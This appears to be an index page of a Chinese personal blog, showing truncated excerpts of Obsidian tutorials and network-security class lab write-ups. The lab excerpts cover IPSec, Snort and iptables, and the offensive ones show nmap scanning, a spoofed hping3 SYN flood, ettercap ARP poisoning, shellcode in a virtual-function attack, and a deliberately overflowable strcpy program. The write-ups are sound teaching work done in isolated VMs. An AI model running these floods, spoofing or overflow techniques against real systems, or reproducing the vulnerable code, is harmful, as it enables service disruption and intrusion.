Bastandern's Blog

附件分离 这一步是将所有图片与笔记分离开，将图片整理到一个目录下，并给图片重命名。 为什么需要附件分离？ Github 建议大小：单文件 < 50MB，单仓库 < 1GB。 Obsidian仓库的大小几乎都源于图片。 即使之后 Obsidian 仓库内容逐渐增加，分离附件之后一般也不会超过1GB，而图片随随便便就会到1GB以上。 什么情况下 可以不做 附件整理？ 最开始选择附件位置的时候设置像下面这样： 这样的结果是，所有图片已经与笔记分离了。 但图片名称为原始的、语义不清的。如果按接下来的步骤整理附件，可以重命名图片 什么情况下 建议进行 附件整理？ 如果你的附件位置设置成这样： 或者这样： 那么你的图片是保存在笔记目录及其子目录下的，目录类似： 整理附件 插件：Attachment Management 配置该插件后会自动拦截，“文件与链接”下无论配置的附件位置是哪里，都会优先按 Attachment Management 里面的来。 保存根路径：在下方指定的文件夹中 根文件夹：attachment 附件路径： 空着：所有图片在 att...

教程对应bilibili视频：https://www.bilibili.com/video/BV115d7BwEy8 本教程的逻辑如下： 结果导向：章节开头我会直接展示最终效果，如果你不需要或者已经会了，可以跳过该章节 逐层递进：从原生设置开始，进阶到插件微调，最后是 CSS 定制 随时离场：如果你觉得当前展示的界面已经足够美观，可以随时退出视频，去记录你的笔记（外观不是最重要的，内容才是！）` 最终效果 未经任何设置的原装 Obsidian（深色系） 学完这个教程可以达到的效果展示 浅色系 + border 布局 + 栏不隐藏 card 布局 + 简约文件列表 + 隐藏大部分工具（我正在使用） 适合喜欢用快捷键 / 命令面板又追求简约的 更多搭配按喜好来即可 左侧列表 文件排序 功能本教程 不会 介绍，有需要我可以再出一期专门讲讲 日历 插件在视频末尾的 杂谈 里会讲 页面布局 效果展示 页面比例 默认的图标和字体都特别小，通过设置调整。 外观，调整 字体大小（我用12px）和 缩放比例（我直接拉到最大） 分窗口 现在主页面分成了三块。我需要更...

课堂部分 1. Windows IPSec配置 2. 抓包分析 IKE SA和IPSec SA建立过程 Windows配置IPSec 使用Win+R打开本地安全设置模块，在IP安全策略创建新IP安全策略 新建的IP安全策略名称自拟，勾选“激活默认响应规则”，使用“123456”（或其他）作为预共享密钥保护密钥交换，指派该策略。 指派 双击该指派的ipsec策略 修改新建策略的属性，添加安全规则。不指定隧道终结点，适用于所有网络连接，使用“123456”作为预共享密钥保护密钥交换。 添加IP筛选器列表，在新的筛选器列表添加新的筛选器，然后添加筛选器操作。在筛选器列表选择“所有IP通讯量”。 在筛选器操作界面选择“需要安全”，然后完成修改属性。 另一台xp同样的配置 ping通 “Negotiating IP Security”（正在协商 IP 安全性）： 这证明你的 IPSec 策略已经被触发了。你的电脑意识到发往 192.168.130.136 的数据包需要加密，所以它暂停了发送，先去和对方“对暗号”（IKE 协商）。 “Request timed o...

课堂部分 环境 123sudo apt-get updatesudo apt-get install snortsnort -V 安装时端口填ens33，其他保持默认 修改配置文件 1sudo nano /etc/snort/snort.conf 使用ctrl+w搜索关键字icmp-info 为以下规则加注释符号 1#include $RULE_PATH/icmp-info.rules 按 Ctrl + O 保存，然后按 Enter 确认，最后按 Ctrl + X 退出编辑器 Snort检测DoS攻击 添加实验规则 1sudo nano /etc/snort/rules/local.rules 添加 DoS 攻击检测规则 1alert tcp any any -> $HOME_NET 80 (msg:"DoS attack"; flags:S; threshold:type threshold, track by_dst, count 100, seconds 60; sid:2000003) 1sudo snort -c /etc/snor...

课堂部分 实验环境 Firewall-VM：Kali Linux（192.168.232.129） Client-VM1：winxp（192.168.232.130，00-0C-29-69-14-0D） Client-VM2：ubuntu（192.168.232.128） 将两台虚拟机的网络连接均设置为“仅主机模式” winxp ping通kali ubuntu ping通kali 清空所有链的防火墙规则 1iptables -F 设置iptables实现特定功能 禁止所有主机 ping 本地主机 设置规则 1iptables -A INPUT -p icmp --icmp-type echo-request -j DROP 仅允许某特定 IP 主机 ping 本地主机 清空规则：iptables -F 设置规则 12iptables -A INPUT -p icmp --icmp-type echo-request -s 192.168.232.130 -j ACCEPTiptables -A INPUT -p icmp --icmp-type ech...

查看IP kali：192.168.130.146 ubuntu：192.168.130.147 Ping扫描（主机发现） 1nmap -sn 192.168.130.147 过滤arp ARP 请求 (第 38 号包): Source: VMware_c7:01:3e (你的 Kali 攻击机) Info: Who has 192.168.130.147? Tell 192.168.130.146 分析： 这正是 Nmap 在执行Ping扫描。你的 Kali 机器在网络上广播：“谁是 192.168.130.147？请告诉 192.168.130.146 (我)。” ARP 响应 (第 40 号包): Source: VMware_b6:5d:b0 (你的 Ubuntu 靶机) Info: 192.168.130.147 is at 00:0c:29:b6:5d:b0 分析： 靶机收到了这个广播，并回复了：“我就是 192.168.130.147，这是我的MAC地址。” Nmap通过这个ARP请求和响应，成功确认了靶机 192.168.130.147...

课堂实验 实验环境准备 虚拟机设置： 准备两台虚拟机： 攻击机：Kali Linux (内置hping3 和 nmap ) 靶机：Windows XP 靶机服务配置 在Windows靶机上，将nginx文件夹放到C盘 打开命令行，进入 C:\nginx1.1.0 路径，运行 start nginx 来启动HTTP服务 连通性验证： 在靶机上，打开浏览器访问 localhost 或 127.0.0.1，应能看到nginx欢迎页面 。 在攻击机和靶机上分别使用 ifconfig / ipconfig 查看各自IP地址 。 在攻击机上，ping靶机IP，确保网络互通。 在攻击机上，打开浏览器访问 http://[靶机IP]，应能看到nginx欢迎页面 。 查看IP 扫描靶机开放端口 端口 80/tcp 是 open（开放）的，并且正在运行 http 服务 靶机上打开localhost验证 ping通 攻击机上打开浏览器访问靶机 SYN Flood 攻击 1sudo hping3 -S -p 80 -a 192.168.130.99 --flood 192...

课堂实验 攻击机：Kali-linux 2022.3 靶机：windows xp 软件：ettercap-0.8.31，wireshark kali：用户名kali，密码kali 实验步骤 分别使用命令ipconfig /all（或ifconfig）查看两个虚拟机网卡、ip地址、网关地址等信息。 kali：192.168.130.142 winxp：192.168.130.143 两虚拟机之间应能互相ping通。 利用命令arp -a查看靶机被攻击前的arp信息 在kali中，使用命令sudo ettercap -G打开ettercap。 选择正在使用的网卡eth0，点击√ 点击放大镜图标扫描局域网内的所有主机 在host list中查看扫描结果。分别将靶机IP和网关地址设为目标1和目标2。 打开wireshark准备抓包 在MITM菜单中选择ARP Poisoning，点击ok开始攻击。 查看靶机arp信息。 此时网关的MAC地址已经被篡改为攻击机的MAC地址 。 启动wireshark抓包，实验结果中应用发起arp欺骗攻击的数据包，以及攻击成功后截...

虚函数 虚函数内存布局与攻击原理 题目A 源码 123456789101112131415161718192021222324252627282930313233343536373839404142434445#include <windows.h>#include <iostream.h>char shellcode1[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x33\xDB...

overflow_exe 1234567891011121314151617181920212223242526272829#include <stdio.h>#include <windows.h>#include <string>#define PASSWORD "1234567"int verify_password (char *password){ int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated;}main(){ int valid_flag=0; char password[1024]; FILE * fp; LoadLibrary("user32.dll");//prepare for messagebox if...